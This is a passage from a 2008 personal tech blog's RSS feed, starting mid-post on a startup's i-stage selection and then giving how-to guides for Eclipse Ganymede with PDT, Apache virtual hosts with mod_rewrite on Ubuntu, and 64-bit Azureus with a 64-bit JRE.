			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a href="http://www.ce.org/i-stage" target="_blank"><img class="size-full wp-image-174 alignleft" style="border: 0pt none;" title="istage" src="http://www.64bitjungle.com/wp-content/uploads/2008/10/istage.jpg" alt="i-stage" width="204" height="95" align="left" /></a>My posts have been few and far between over the past couple of months, since I&#8217;ve been working hard on getting <a href="http://www.youbundle.com" target="_blank">YouBundle</a> ready for CEA <a href="http://www.ce.org/i-stage/" target="_blank">i-stage</a>! I&#8217;m proud that YouBundle has been selected as one of 15 finalists to present on the 20th October (which gives me little time to make the final tweaks and tests!). An overview of the other finalists can be found on the official <a href="http://youbundle.com/wordpress/" target="_blank">YouBundle Blog</a>.</p>
<p style="text-align: center;"><a href="http://www.youbundle.com" target="_blank"><img class="size-full wp-image-175 aligncenter" title="logo_black" src="http://www.64bitjungle.com/wp-content/uploads/2008/10/logo_black.gif" border="0" alt="" width="267" height="56" /></a></p>
<p>YouBundle is currently in private Beta testing, but will be launched to the general public during i-stage.</p>
<p>With the exception of design, and some support staff, I&#8217;m the sole developer on the project &#8211; It&#8217;s been a long, difficult slog to get the site this far, but if the site achieves what is intended: to help web users collect, share and find information, then it&#8217;s all been worth it!</p>
<p>Finally, Good Luck to all the i-stage finalists! There look to be some really cool products being launched at the show. Unfortunately, I can&#8217;t make it to the show, but Neyma, my YouBundle partner and Maziar, our board advisor, will be there to present and release YouBundle.</p>
<div class="shr-publisher-173"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic --><p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.64bitjungle.com/tech/getting-youbundle-ready-for-cea-i-stage/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>64 Bit Eclipse 3.4 (Ganymede) IDE with PDT and SQL Explorer &#8211; Full PHP/MySQL Web Application IDE</title>
		<link>http://www.64bitjungle.com/programming/64-bit-eclipse-34-ganymede-ide-with-pdt-and-sqlexplorer-full-php-mysql-web-application-ide/</link>
		<comments>http://www.64bitjungle.com/programming/64-bit-eclipse-34-ganymede-ide-with-pdt-and-sqlexplorer-full-php-mysql-web-application-ide/#comments</comments>
		<pubDate>Mon, 04 Aug 2008 06:50:27 +0000</pubDate>
		<dc:creator>Hodge</dc:creator>
				<category><![CDATA[Eclipse]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[Eclipse 64 Bit]]></category>
		<category><![CDATA[Eclipse IDE]]></category>
		<category><![CDATA[Eclipse PDT]]></category>
		<category><![CDATA[Ganymede]]></category>
		<category><![CDATA[HowTo]]></category>

		<guid isPermaLink="false">http://www.64bitjungle.com/?p=117</guid>
		<description><![CDATA[Update, 16/01/09: This Guide has been superseded by &#8220;Full 64 Bit (or 32 Bit) Web Development and PHP/MySQL IDE with Eclipse 3.4 Ganymede and PDT 2&#8220;, but will be left here for reference, history, and so on&#8230; PDT is MUCH easier to install now I&#8217;ve been checking out the recently released Eclipse 3.4 (Ganymede), and [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p><img class="alignleft size-full wp-image-118" style="border: 0pt none ; float: left;" title="Eclipse 3.4 Ganymede" src="http://www.64bitjungle.com/wp-content/uploads/2008/08/ganymede.png" alt="Eclipse 3.4 Ganymede" width="300" height="195" /></p>
<p><strong>Update, 16/01/09: This Guide has been superseded by &#8220;<a href="http://www.64bitjungle.com/ubuntu/full-64-bit-or-32-bit-web-development-and-php-mysql-ide-with-eclipse-34-ganymede-and-pdt-2/">Full 64 Bit (or 32 Bit) Web Development and PHP/MySQL IDE with Eclipse 3.4 Ganymede and PDT 2</a>&#8220;, but will be left here for reference, history, and so on&#8230; PDT is MUCH easier to install now <img src='http://www.64bitjungle.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </strong></p>
<p>I&#8217;ve been checking out the recently released Eclipse 3.4 (Ganymede), and so far so good. I&#8217;ve managed to get PDT (for PHP Development) and SQL Explorer installed and running successfully, so I&#8217;ll be doing some testing to see how it compares to Europa, which I have been using for some time. Thankfully, installing plugins is <em>much</em> easier with Ganymede &#8211; this is how I got it set up an configured.</p>
<p><strong>IMPORTANT NOTE:</strong> This installation configuration currently relies on Integration builds of both PDT and DLTK, since the current Stable builds of each are not currently supported under Eclipse 3.4. I will update this tutorial as support becomes available, but if you are not comfortable installing Integration builds, please see my previous tutorial on setting up a PHP IDE in Eclipse Europa: &#8220;<a href="http://www.64bitjungle.com/tech/64-bit-eclipse-linux-installation-including-pdt-wtp-wst-atf-and-mysql-sql-explorer-plugin/" target="_self">64 Bit Eclipse: Linux Installation, including PDT, WTP (WST), ATF, and MySQL (SQL Explorer Plugin)</a>&#8220;.</p>
<p><strong>Install Eclipse</strong></p>
<p>Installing Eclipse is a pretty easy task &#8211; just head over to <a href="http://www.eclipse.org/downloads/" target="_blank">http://www.eclipse.org/downloads</a> and download the latest version of &#8220;Eclipse Classic&#8221; (<a href="http://www.eclipse.org/downloads/download.php?file=/eclipse/downloads/drops/R-3.4-200806172000/eclipse-SDK-3.4-linux-gtk-x86_64.tar.gz" target="_blank">direct link to 64 bit version</a>). I downloaded the file to my desktop, and once finished, opened up a Terminal window, extracted the archive, and installed Eclipse into the <span style="font-size: 120%; font-family: monospace;">/opt</span> directory:</p>
<p><code>cd ~/Desktop<br />
tar -zxvf eclipse-SDK-3.4-linux-gtk-x86_64.tar.gz<br />
sudo mv eclipse /opt/ganymede</code></p>
<p>I installed into <span style="font-size: 120%; font-family: monospace;">/opt/ganymede</span> since I already have Europa installed in <span style="font-size: 120%; font-family: monospace;">/opt/eclipse</span>.</p>
<p>That&#8217;s all there is to installing Eclipse. It can be run (for now) via the Terminal:</p>
<p><code>cd /opt/ganymede<br />
./eclipse</code></p>
<p><strong>Installing PDT</strong></p>
<p>As mentioned above, the latest Stable build of PDT is not yet supported in Eclipse 3.4, and since only PDT 1.0.x is available via the Update Site, it&#8217;s necessary to download the 2.0.x Integration Build from the PDT Website (see <a href="http://www.mail-archive.com/pdt-dev@eclipse.org/msg00103.html" target="_blank">this thread</a> at pdt-dev for more information). The same goes for DLTK (Dynamic Languages Toolkit) upon which PDT depends &#8211; only the Integration Build may be installed with Ganymede.</p>
<p>Firstly I downloaded DLTK, from <a href="http://download.eclipse.org/technology/dltk/downloads/" target="_blank">http://download.eclipse.org/technology/dltk/downloads</a> &#8211; click on the Integration Build download link, and grab the Core Frameworks archive (<a href="http://download.eclipse.org/technology/dltk/downloads/drops/R1.0/I-I200807291021-200807291021/dltk-core-I-I200807291021-200807291021-incubation.zip" target="_blank">direct link</a> to current version &#8211; Integration Builds are likely to change frequently, so best to visit the main doanload page). Next, grab the PDT archive from <a href="http://download.eclipse.org/tools/pdt/downloads/" target="_blank">http://download.eclipse.org/tools/pdt/downloads/</a> (click on the 2.0.0 Integration Build link, then grab the PDT Runtime archive &#8211; <a href="http://www.eclipse.org/downloads/download.php?file=/tools/pdt/downloads/drops/I20080722/org.eclipse.php_feature-I20080722.zip" target="_blank">direct link</a>). Don&#8217;t worry about the requirements and handy extras.</p>
<p>Once downloaded, again to my Desktop, I created a couple of temporary directories, and unziped both archives into their respective new homes:</p>
<p><code>mkdir pdt dltk<br />
mv org.eclipse.php_feature-I20080722.zip pdt<br />
cd pdt<br />
unzip org.eclipse.php_feature-I20080722.zip pdt<br />
cd ~/Desktop<br />
mv dltk-core-I-I200807291021-200807291021-incubation.zip dltk<br />
cd dltk<br />
unzip dltk-core-I-I200807291021-200807291021-incubation.zip</code></p>
<p>Now the Eclipse Update manager can be pointed to these &#8220;local sites&#8221;. I fired up Eclipse once again, and navigated to the Update Manager: Help -&gt; Software Updates. Once open, I clicked on the Available Software tab, and added the new sites &#8211; click on Add Site, click Local, and navigate to <span style="font-size: 120%; font-family: monospace;">~/Desktop/pdt/eclipse</span>. Click OK, and repeat for <span style="font-size: 120%; font-family: monospace;">~/Desktop/dltk/eclipse</span>. Now there should be two more sites (&#8220;/home/username/Desktop/pdt/eclipse&#8221; and &#8220;/home/username/Desktop/dltk/eclipse&#8221;) in addition to &#8220;Eclipse Project Update Site&#8221; and &#8220;Ganymede&#8221; (or &#8220;http://download.eclipse.org/releases/ganymede&#8221;). Expand each of the two new sites, and select the lowest leaf in each tree &#8211; &#8220;PDT Feature&#8221; and &#8220;Dynamic Languages Toolkit&#8221;.</p>
<p style="text-align: center;"><img class="size-full wp-image-119" title="Eclipse Ganymede Update Manager" src="http://www.64bitjungle.com/wp-content/uploads/2008/08/eclipse-ganymede-update-manager.png" alt="Eclipse Ganymede Update Manager" width="450" height="418" /></p>
<p>PDT is also dependent upon the Graphical Editing Framework (GEF), so expand the Ganymede tree, then &#8220;Graphical Editors and Frameworks&#8221; and select the &#8220;Graphical Editing Framework GEF&#8221; option.</p>
<p>Don&#8217;t click &#8220;Install&#8221; quite yet &#8211; there are a few other additional things to select for a full Web Application Development IDE.</p>
<p><strong>Web Application stuff</strong></p>
<p>Expand the main Ganymede tree, and &#8220;Web and Java EE Dvelopment&#8221;. I personally selected:</p>
<ul>
<li> Eclipse XML Editors and Tools</li>
<li> Javascript Developer Tools</li>
<li> Web Developer Tools</li>
<li> Web Page Editor</li>
</ul>
<p>You may want more, or less. Almost there&#8230;</p>
<p><strong>Database Integration</strong></p>
<p>Expand Database Development, and select Data Tools Platform Enablement and Data Tools Platform SQL Development. These are required for setting up a connection to MySQL later.</p>
<p>OK, click Install! Go and make a brew, or coffee &#8211; this may take some time.</p>
<p>Once everything has been downloaded and installed, restart Eclipse.</p>
<p><strong>SQL Explorer Plugin<br />
</strong></p>
<p>I find <a href="http://eclipsesql.sourceforge.net/" target="_blank">SQL Explorer</a> is a great little plugin to use as a DB GUI. To install it, I downloaded the <a href="http://sourceforge.net/project/showfiles.php?group_id=132863" target="_blank">latest version</a> to my Desktop, and extracted the files.</p>
<p><code>cd ~/Desktop<br />
mkdir sqlexplorer<br />
mv sqlexplorer_plugin-3.5.0.RC5.zip sqlexplorer<br />
cd sqlexplorer<br />
unzip sqlexplorer_plugin-3.5.0.RC5.zip</code></p>
<p>As with the PDT and DLTK plugins, to install is just a simple case of adding a new Local site to the Eclipse Update Manager, and selecting the plugin to install. So, open up the Update Manager &#8211; Help -&gt; Software Updates, and select the Available Software tab. Add new site, click Local, navigate to ~/Desktop/sqlexplorer, click OK, etc. Once the site is added, expand the new SQL Explorer, select the lowest level leaf, and click install.</p>
<p>Once installed, restart Eclipse. Some configuration is still required to get SQL Explorer linked up to a MySQL Database, which I have covered in a previous tutorial: <a href="http://www.64bitjungle.com/tech/eclipse-pdt-and-mysql-sql-explorer-plugin/#configsqlexplorer" target="_self">Eclipse PDT and MySQL &#8211; SQL Explorer Plugin</a>. It&#8217;s pretty simple, and just involves downloading the Java Connector for MySQL, and pointing Eclipse to it.</p>
<p><strong>ATF (AJAX Toolkit)</strong></p>
<p>Unfortunately, ATF is not yet supported in Ganymede &#8211; I&#8217;m keeping track of it, however, and will update this tutorial as soon as support is available. In the mean time, check out the current status at <a href="http://www.mail-archive.com/atf-dev@eclipse.org" target="_blank">atf-dev</a>.</p>
<p><strong>Debugging PHP with Xdebug</strong></p>
<p>The information in my previous tutorial, <a href="http://www.64bitjungle.com/tech/debugging-php-applications-with-xdebug-and-eclipse-pdt" target="_self">Debugging PHP Applications with Xdebug and Eclipse PDT</a>, can still be applied to Ganymede.</p>
<p>Hope that helps.</p>
<p><strong>References</strong></p>
<ol>
<li><a href="http://wiki.eclipse.org/PDT/Installation#Eclipse_3.4_.2F_Ganymede_.2F_PDT_1" target="_blank">http://wiki.eclipse.org/PDT/Installation#Eclipse_3.4_.2F_Ganymede_.2F_PDT_1</a></li>
<li><a href="http://www.mail-archive.com/pdt-dev@eclipse.org" target="_blank">http://www.mail-archive.com/pdt-dev@eclipse.org</a></li>
<li><a href="http://www.mail-archive.com/atf-dev@eclipse.org/" target="_blank">http://www.mail-archive.com/atf-dev@eclipse.org</a></li>
</ol>
<div class="shr-publisher-117"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic --><p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.64bitjungle.com/programming/64-bit-eclipse-34-ganymede-ide-with-pdt-and-sqlexplorer-full-php-mysql-web-application-ide/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Apache Virtual Hosts and mod_rewrite on Ubuntu Hardy</title>
		<link>http://www.64bitjungle.com/tech/apache-virtual-hosts-and-mod_rewrite-on-ubuntu-hardy/</link>
		<comments>http://www.64bitjungle.com/tech/apache-virtual-hosts-and-mod_rewrite-on-ubuntu-hardy/#comments</comments>
		<pubDate>Mon, 16 Jun 2008 07:53:41 +0000</pubDate>
		<dc:creator>Hodge</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[mod_rewrite]]></category>
		<category><![CDATA[Virtual Host]]></category>

		<guid isPermaLink="false">http://www.64bitjungle.com/?p=108</guid>
		<description><![CDATA[I&#8217;ve been wanting to set up a virtual host, with mod_rewrite on my system for a while, so I could have a local copy of my blog with Permalinks, for playing around, and despite a few hiccups, have finally got round to setting it up and implementing it successfully. Creating a Virtual Host Note: The [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>I&#8217;ve been wanting to set up a virtual host, with mod_rewrite on my system for a while, so I could have a local copy of my blog with Permalinks, for playing around, and despite a few hiccups, have finally got round to setting it up and implementing it successfully.</p>
<p style="text-align: center;"><img class="size-full wp-image-109" title="Apache Logo Feather" src="http://www.64bitjungle.com/wp-content/uploads/2008/06/feather.gif" alt="Apache Software Foundation Logo" width="356" height="107" /></p>
<p><strong>Creating a Virtual Host</strong></p>
<p><strong>Note:</strong> The Apache installation in Ubuntu is actually controlled by the file /etc/apache2/apache2.conf with /etc/apache2/httpd.conf being a secondary config file loaded after apache2.conf. It&#8217;s advisable to leave apache2.conf alone, and make any server-wide changes to httpd.conf. The Ubuntu Apache installation also goes a step further by allowing site-specific configuration files, which are located in the directory /etc/apache2/sites-available. One already exists, and is called &#8220;default&#8221;, which controls the web root, /var/www. To activate any new sites created in this directory, we just create new file in this directory, then create a symbolic link to it in the /etc/apache2/sites-enabled directory. When Apache starts, it scans the apache2.conf, httpd.conf files, and also the /etc/apache2/sites-enabled directory for any links to config files in /etc/apache2/sites-available. If the link isn&#8217;t there, the configuration isn&#8217;t loaded.</p>
<p>For this tutorial, we&#8217;ll be creating a new config file in /etc/apache2/sites-available and activating it by creating to it in /etc/apache2/sites-enabled &#8211; apache2.conf and httpd.conf will not be touched.</p>
<p>Ok, I wanted to create a Virtual Host called 64bitjungledev.com, and also be able to view the site on my local installation when I point my browser to 64bitjungledev.com. The first thing I did was create a directory for the new Virtual Host to reside in. I was feeling particularly lazy, so just created it in the /var/www directory, and changed the owner of the new directory to my user name and group (so I could add/edit files etc.) I know, I know, I should create it in my home directory &#8211; but everything with &#8220;/var/www/ can be substituted for &#8220;/home/USERNAME/html/&#8221;. Anyway, in a Terminal, I executed:</p>
<p><code>sudo mkdir /var/www/64bitjungledev<br />
sudo chown myuser:mygroup /var/www/64bitjungledev</code></p>
<p>Then, I created a new config file in the /etc/apache2/sites-available to contain the configuration information for my new Virtual Host. In a Terminal, I executed the following:</p>
<p><code>cd /etc/apache2/sites-available<br />
gksu gedit 64bitjungledev.com</code></p>
<p>This creates a new file called 64bitjungledev.com in the directory and opens it in a text editor. In this new file, I dumped:</p>
<p><code>&lt;VirtualHost *:80&gt;<br />
ServerName 64bitjungledev.com<br />
ServerAlias www.64bitjungledev.com<br />
DocumentRoot /var/www/64bitjungledev<br />
DirectoryIndex index.php<br />
&lt;Directory /var/www/64bitjungledev&gt;<br />
AllowOverride all<br />
Options Indexes FollowSymLinks MultiViews<br />
Order allow,deny<br />
Allow from 127.0.0.1<br />
&lt;/Directory&gt;<br />
CustomLog /var/log/apache2/64bitjungledev.com-access.log combined<br />
&lt;/VirtualHost&gt;</code></p>
<p>This is basically telling Apache that we want it to host a new site, called 64bitjungledev.com, and all it&#8217;s files will be located in /var/www/64bitjungledev. &#8220;Allow from 127.0.0.1&#8243; tells Apache that only my computer can access it, and &#8220;AllowOverride all&#8221; tells Apache that the site can use .htaccess files that contain Apache declarations that can override these settings. The CustomLog declaration is telling Apache to create an access log file for this site in /var/log/apache2/64bitjungledev.com-access.log and the &#8220;combined&#8221; tells it to include two extra fields of information in the log file &#8211; The &#8220;Referer&#8221; (sic) HTTP request header, and The User-Agent HTTP request header. Probably superfluous considering all trafic will be refered from my local machine, and the only agent accessing the site is Firefox! You can change &#8220;combined&#8221; to &#8220;common&#8221;, which doesn;t include these two fields.</p>
<p>Anyway, I digress&#8230; There are two methods to enabling the new site &#8211; create a symbolic link in /etc/apache2/sites-enabled to this new file, or, have Ubuntu do it for us:</p>
<p><code>cd /etc/apache2/sites-available<br />
sudo a2ensite 64bitjungledev.com</code></p>
<p>Will do exactly the same as:</p>
<p><code>sudo ln -s /etc/apache2/sites-available/64bitjungledev.com /etc/apache2/sites-enabled/64bitjungledev.com</code></p>
<p>To disable the site, we can run:</p>
<p><code>sudo rm /etc/apache2/sites-enabled/64bitjungledev.com</code></p>
<p>Or:</p>
<p><code>sudo a2dissite 64bitjungledev.com</code></p>
<p>The result is the same. In order for the URL 64bitjungledev.com to work in my browser, I just had to change the hosts file, so my computer looks for 64bitjungledev.com on my machine as opposed to looking it up via DNS:</p>
<p><code>gksu gedit /etc/hosts</code></p>
<p>I changed the line</p>
<p><code>127.0.0.1 localhost</code></p>
<p>to:</p>
<p><code>127.0.0.1 localhost 64bitjungledev.com www.64bitjungledev.com</code></p>
<p>Saved, and closed the file. Now, I had to restart Apache for the new changes to take affect:</p>
<p><code>sudo /etc/init.d/apache2 reload</code></p>
<p>I created a test file in the document root:</p>
<p><code>gedit /var/www/64bitjungledev/index.php</code></p>
<p>Containing the old faithful:</p>
<p><code>&lt;?php<br />
phpinfo();<br />
?&gt;</code></p>
<p>and pointed my browser to www.64bitjungledev.com. Success! Now for mod_rewrite&#8230;</p>
<p><strong>Enabling mod_rewrite</strong></p>
<p>First, to enable the Apache module, mod_rewrite (which is disabled on a default Hardy install), I had to create a symbolic link to the module file, so in a Terminal, I ran:</p>
<p><code>sudo ln -s /etc/apache2/mods-available/rewrite.load /etc/apache2/mods-enabled/rewrite.load</code></p>
<p>The Apache installation in Ubuntu has many different configuration files, and uses this modular approach to activae/deactivate them. The rewrite.load file simply contains the load module declaration which would normally be placed in the httpd.conf file:</p>
<p><code>$more /etc/apache2/mods-available/rewrite.load<br />
LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so</code></p>
<p>When Apache starts in Ubuntu, it checks the /etc/apache2/mods-enabled directory for links to available modules, and loads the modules it finds. Creating the link above can also be achieved by running:</p>
<p><code>sudo a2enmod rewrite</code></p>
<p>which is basically a short-cut approach to creating the link in /etc/apache2/mods-enabled, similar to the a2ensite used above &#8211; and, similarly:</p>
<p><code>sudo a2dismod rewrite</code></p>
<p>will have the same effect as:</p>
<p><code>sudo rm /etc/apache2/mods-enabled/rewrite.load</code></p>
<p>That&#8217;s pretty much it. The only additional thing I had to do, was make a slight change to the /etc/apache2/sites-available/default file, which, as mentioned above, is the default Apache configuration file for /var/www. So, I opened it up:</p>
<p><code>gksu gedit /etc/apache2/sites-available/default</code></p>
<p>And changed the &#8220;AllowOverride&#8221; declaration to &#8220;all&#8221; for both the / and /var/www directories. I just needed to restart Apache once again:</p>
<p><code>sudo /etc/init.d/apache2 reload</code></p>
<p><strong>Testing mod_rewrite</strong></p>
<p>Before going ahead and installing a local copy of 64bitjungle, I wanted to test if the system was working. I needed two files for this &#8211; a .htaccess file, and a PHP file. The .htaccess file contains the test RewriteRule for Apache to process the URL redirection of &#8220;clean&#8221; URLs to the PHP script, so that www.64bitjungledev.com/xyz/somedata will actually point to www.64bitjungle.com/thescript.php?thevariable=somedata. So, in a Terminal, I created the .htaccess file first:</p>
<p><code>gedit /var/www/64bitjungledev/.htaccess</code></p>
<p>And wrote a simple Apache RewriteRule, in addition to telling Apache to switch on the rewrite engine:</p>
<p><code>&lt;IfModule mod_rewrite.c&gt;<br />
RewriteEngine On<br />
#test rule<br />
RewriteRule ^xyz/([^/.]+)/?$ thescript.php?thevariable=$1 [L]<br />
&lt;/IfModule&gt;</code></p>
<p>This is basically telling Apache to switch on the RewriteEngine if mod_rewrite is loaded. The rather scrappy-but-suffices-for-testing RewriteRule basically tells Apache to &#8220;grab every character in the clean URL after xyz/ and store it in a temporaty variable, then forward it to thescript.php with thevariable set to the stuff just stored&#8221;.</p>
<p>A very simple PHP script can be written and used to test if the data is being passed properly:</p>
<p><code>gedit /var/www/64bitjungledev/thescript.php</code></p>
<p>which can contain simply:</p>
<p><code>&lt;?php<br />
echo $_GET['thevariable'];<br />
?&gt;</code></p>
<p>After restarting Apache, pointing my browser to www.64bitjungledev.com/xyz/DoesItWork now outputs &#8220;DoesItWork&#8221;, www.64bitjungledev.com/xyz/anything1234 ouputs &#8220;anything1234&#8243; etc. The fun just doesn&#8217;t stop&#8230;!</p>
<p>With mod_rewrite successfully installed, and working for this new domain, I can now install a local version of 64bitjungle.com to play with. I haven&#8217;t actually done that yet though&#8230;</p>
<p><strong>References:</strong></p>
<ul>
<li><a href="http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html" target="_blank">http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html</a></li>
<li><a href="http://httpd.apache.org/docs/1.3/vhosts/" target="_blank">http://httpd.apache.org/docs/1.3/vhosts/</a></li>
<li><a href="http://httpd.apache.org/docs/1.3/vhosts/examples.html" target="_blank">http://httpd.apache.org/docs/1.3/vhosts/examples.html</a></li>
</ul>
<div class="shr-publisher-108"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic --><p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.64bitjungle.com/tech/apache-virtual-hosts-and-mod_rewrite-on-ubuntu-hardy/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>64 Bit Azureus BitTorrent Client with 64 Bit JRE</title>
		<link>http://www.64bitjungle.com/ubuntu/64-bit-azureus-bittorrent-client-with-64-bit-jre/</link>
		<comments>http://www.64bitjungle.com/ubuntu/64-bit-azureus-bittorrent-client-with-64-bit-jre/#comments</comments>
		<pubDate>Wed, 30 Apr 2008 14:26:15 +0000</pubDate>
		<dc:creator>Hodge</dc:creator>
				<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[64 bit]]></category>
		<category><![CDATA[Azureus]]></category>
		<category><![CDATA[BitTorrent]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[JRE]]></category>

		<guid isPermaLink="false">http://www.64bitjungle.com/?p=88</guid>
		<description><![CDATA[I love the fact that a huge amount of the applications I regularly use are available via the package manager, but sometimes, I like to install applications myself. Azureus is one such application &#8211; I wanted to install the latest x64 version, and utilise the x64 JRE I had installed for the x64 Eclipse IDE. [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a href="http://azureus.sourceforge.net/" target="_blank"><img class="alignleft" style="float: left; border: 0;" src="http://www.64bitjungle.com/wp-content/uploads/2008/04/Azureus.png" alt="Azureus Logo" /></a>I love the fact that a huge amount of the applications I regularly use are available via the package manager, but sometimes, I like to install applications myself. <a href="http://azureus.sourceforge.net/" target="_blank">Azureus</a> is one such application &#8211; I wanted to install the latest x64 version, and utilise the x64 JRE I had installed for the x64 <a href="http://www.64bitjungle.com/tech/64-bit-eclipse-linux-installation-including-pdt-wtp-wst-atf-and-mysql-sql-explorer-plugin/" target="_self">Eclipse</a> IDE. Of course, it can easily be installed by running</p>
<p><code>sudo apt-get install azureus</code></p>
<p>(in Ubuntu) and everything is done automatically. But, this is how I installed it.</p>
<p>I had already installed x64 JRE (<a href="http://www.64bitjungle.com/tech/64-bit-eclipse-linux-installation-including-pdt-wtp-wst-atf-and-mysql-sql-explorer-plugin/" target="_self">see 64 Bit Eclipse: Linux Installation, including PDT, WTP (WST), ATF, and MySQL (SQL Explorer Plugin)</a>), but for the benefit of those who haven&#8217;t, don&#8217;t want to read that particular article, or just can&#8217;t be arsed scanning through it, here&#8217;s the procedure again (skip to <strong>&#8212;END x64 JRE INSTALL&#8212;</strong> if you don&#8217;t want to read this part!)</p>
<p>The 64 Bit JRE can be <a href="http://javadl.sun.com/webapps/download/AutoDL?BundleId=27977" target="_blank">downloaded here</a>. After the file downloaded to my desktop, I opened up a new Terminal Window (Applications -&gt; Accessories -&gt; Terminal), traversed to the directory I wanted to install it into, moved the file, made it executable, and ran it to install:</p>
<p><code>cd /opt<br />
sudo mkdir java<br />
sudo mv ~/Desktop/jre-6u12-linux-x64.bin /opt/java<br />
sudo chmod 755 /opt/java/jre-6u12-linux-x64.bin<br />
cd java<br />
sudo ./jre-6u12-linux-x64.bin</code></p>
<p>Listing the directory</p>
<p><code>ls</code></p>
<p>should return</p>
<p><code>jre1.6.0_12</code></p>
<p>which is the directory containing the necessary Java binaries.</p>
<p><strong>&#8212;END x64 JRE INSTALL&#8212;</strong></p>
<p>The 64 Bit version of Azureus (currently v3.5.0.2) can be <a href="http://prdownloads.sourceforge.net/azureus/Azureus_3.0.5.2_linux-x86_64.tar.bz2?download" target="_blank">downloaded here</a>. Once the archive had downloaded to my desktop, I unpacked it:</p>
<p><code>cd ~/Desktop<br />
tar -xjvf Azureus_3.0.5.2_linux-x86_64.tar.bz2</code></p>
<p>As usual, I like to put applications (which don&#8217;t need compiling and installing) into <span style="font-size: 120%; font-family: monospace;">/opt</span></p>
<p><code>sudo mv azureus /opt</code></p>
<p>Within the <span style="font-size: 120%; font-family: monospace;">/opt/azureus</span> folder, is a shell script for running the Azureus client called, funnily enough, <span style="font-size: 120%; font-family: monospace;">azureus</span>. However, to get it working with the 64 Bit JRE I had installed, I had to make a couple of minor adjustments to the script:</p>
<p><code>cd /opt/azureus<br />
gksu gedit azureus</code></p>
<p>Line 5 contains a variable for the Java program directory:</p>
<p><code>JAVA_PROGRAM_DIR=""</code></p>
<p>so, I simply inserted the path to the JRE bin directory:</p>
<p><code>JAVA_PROGRAM_DIR="/opt/java/jre1.6.0_12/bin/"</code></p>
<p>saved the script, and closed the editor. I can now run the Azureus client by running this script:</p>
<p><code>/opt/azureus/azureus</code></p>
<p>Alternatively, it can be run from the Applications menu by creating an entry pointing to <span style="font-size: 120%; font-family: monospace;">/opt/azureus/azureus</span> &#8211; open System -&gt; Preferences -&gt; Main Menu, highlight &#8220;Internet&#8221;, and click &#8220;New Item&#8221;. Enter &#8220;Azureus&#8221; for the name, <span style="font-size: 120%; font-family: monospace;">/opt/azureus/azureus</span> for the Command, and change the icon to the Azureus logo by clicking on the Icon, and browsing to <span style="font-size: 120%; font-family: monospace;">/opt/azureus/azureus</span>, which will automatically list the images in the folder to choose from.</p>
<div class="shr-publisher-88"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic --><p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.64bitjungle.com/ubuntu/64-bit-azureus-bittorrent-client-with-64-bit-jre/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

